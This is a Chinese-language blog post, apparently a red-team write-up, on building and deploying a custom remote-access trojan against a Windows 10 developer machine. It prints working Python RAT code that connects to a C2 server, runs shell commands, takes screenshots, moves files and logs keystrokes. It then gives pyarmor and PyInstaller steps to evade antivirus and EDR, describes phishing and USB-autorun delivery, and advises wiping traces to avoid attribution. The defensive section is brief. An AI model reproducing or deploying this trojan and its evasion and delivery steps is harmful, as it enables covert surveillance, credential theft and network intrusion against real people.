一、从一次内部渗透测试说起
几周前,在某互联网公司的一次授权红队演练中,我们受邀扮演攻击者,以模拟真实威胁。目标部门为研发团队,任务是通过社工和技术手段入侵一台研发人员的个人电脑,并尝试通过后门控制设备,逐步渗透整个内部网络。
在这次演练中,我们的选择是构造一个定制化的远控木马,以绕过目标机器的杀毒软件和EDR(Endpoint Detection and Response)。我们采用了 Python 用于功能实现,通过 Bash 提供免杀包装,并结合 C2(Command and Control)服务进行通信。最终,这只木马成功完成了我们的攻击目标。
这篇文章将为你还原整个渗透过程,包括木马的制作、免杀技巧,以及实际部署中的关键细节。
---

二、攻击目标:远控木马的功能分析
在攻击行动之前,我们首先明确了远控木马需要具备的核心功能。这是一次定制化开发,目标是实现以下几点:
核心功能
- 远程命令执行:接受 C2 发来的指令,比如文件操作、命令运行。
- 屏幕截图:定期对目标设备的屏幕进行截图,方便监控实时活动。
- 键盘记录:捕获目标的输入内容,获取敏感信息。
- 文件上传/下载:能够上传或下载文件到目标设备。
- 权限维持:确保木马在目标设备上持久运行,即便系统重启也不会失效。
- 隐蔽通信:通过加密流量与 C2 服务器交互,规避流量分析。
环境约束
目标设备运行的是 Windows 10 系统,且安装了某主流杀毒软件和 EDR,攻击工具必须规避这些安全措施。此外,目标是研发人员的设备,这意味着可能存在较强的网络行为监控。
---
三、Payload构造的艺术:木马代码实现
基于攻击要求,我们选择了 Python 作为主要开发语言,结合 Bash 脚本进行免杀处理。以下是木马的主要实现部分:
木马核心代码
这是一个最简化的木马代码框架,包含键盘记录和远程命令执行功能。
<pre><code class="language-python">import socket import subprocess import os import pyautogui import pynput import threading
C2服务器地址和端口
C2_HOST = '192.168.1.100' C2_PORT = 4444
def connect_to_c2(): """连接到C2服务器并保持通信""" try: client = socket.socket(socket.AF_INET, socket.SOCK_STREAM) client.connect((C2_HOST, C2_PORT))
while True: command = client.recv(1024).decode('utf-8') # 接收指令 if command == 'screenshot': screenshot(client) elif command.startswith('exec'): execute_command(client, command[5:]) elif command.startswith('download'): send_file(client, command[9:]) elif command.startswith('upload'): receive_file(client, command[7:]) else: client.send(b'Unknown Command') except Exception as e: print(f"[ERROR] {e}") client.close()

def screenshot(client): """截取屏幕并发送给C2""" screenshot = pyautogui.screenshot() screenshot.save("screenshot.png") with open("screenshot.png", "rb") as f: client.send(f.read())
def execute_command(client, command): """执行系统命令""" result = subprocess.run(command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE) client.send(result.stdout + result.stderr)

def send_file(client, filepath): """将文件发送给C2""" if os.path.exists(filepath): with open(filepath, 'rb') as f: client.send(f.read()) else: client.send(b"File Not Found")
def receive_file(client, dest_path): """从C2接收并保存文件""" with open(dest_path, 'wb') as f: data = client.recv(1024) while data: f.write(data) data = client.recv(1024)
键盘记录功能
def keylogger(): """简单键盘记录器""" def on_press(key): with open("keylogs.txt", "a") as f: f.write(str(key) + '\n')
listener = pynput.keyboard.Listener(on_press=on_press) listener.start()
多线程运行各个功能
if __name__ == "__main__": threading.Thread(target=keylogger).start() connect_to_c2()</code></pre>
功能分析
- C2通信:通过 socket 模块与远程服务器交互,支持命令接收与文件传输。
- 模块化设计:键盘记录和命令执行分离,方便后续扩展。
- 多线程运行:不同功能独立运行,提升木马的稳定性。
---
四、免杀与对抗:如何绕过杀毒和EDR
在部署木马时,直接运行上述代码会触发目标设备的杀毒软件。因此,我们需要对其进行免杀处理。
方法一:代码混淆
使用 pyarmor 或类似工具对 Python 文件进行加密混淆,将关键函数名和模块名替换为随机字符。
<pre><code class="language-bash">pip install pyarmor pyarmor pack -x 1 -e "import socket;import subprocess" far_remote_malware.py</code></pre>
方法二:内存加载
使用 PyInstaller 将代码编译为单独的可执行文件,并结合动态加载技术。
<pre><code class="language-bash">pip install pyinstaller pyinstaller --onefile far_remote_malware.py</code></pre>
生成的 dist/far_remote_malware.exe 可直接运行。为进一步隐蔽,可以借助 Windows API 将代码加载到内存中执行,避免文件落地。
方法三:流量伪装
通过 HTTPS 或 DNS 隧道伪装木马与 C2 的通信,避免流量分析工具检测。
---
五、部署与实战:如何在目标设备上投递木马
社工技术投递:
- 伪造邮件:设计一封诱导性的官方邮件,内嵌含木马的附件。
- 文件名伪装:将木马伪装成常见的 PDF 或 ZIP 文件。
- 双文件技术:利用合法文件作为掩护,结合恶意载荷。
物理攻击:
- USB设备:将木马写入 USB,伪装成重要资料。
- 默认启动:利用 autorun.inf 配置,插入 USB 后自动运行木马。
---
六、检测与防御:如何识别和拦截远控木马
作为安全研究员,我们也需要了解检测方法,以下是防御的核心技术点:

文件行为监控
- 异常文件访问:监控木马对系统敏感文件的访问行为。
- 内存操作:检测内存中加载的恶意代码。
流量分析
- DNS隧道:拦截异常域名解析请求。
- 加密通信:分析 HTTPS 或其他协议的流量。
---
七、个人经验分享:攻防之间的平衡
在多年的红队渗透实践中,我发现攻击者和防御者之间的博弈从未停止。一次成功的渗透不仅仅依靠技术,更依赖社工心理学和对目标的深度理解。
对于远控木马的开发,要时刻保持创新:仅仅依靠现成的工具无法应对复杂防御环境,定制化开发是成功的关键。同时,做好攻击痕迹清除,避免被反向溯源,也是每次行动中不可忽视的部分。
希望本文能为你提供启发,同时提醒大家:所有攻击技术仅限于授权测试环境,切勿非法使用。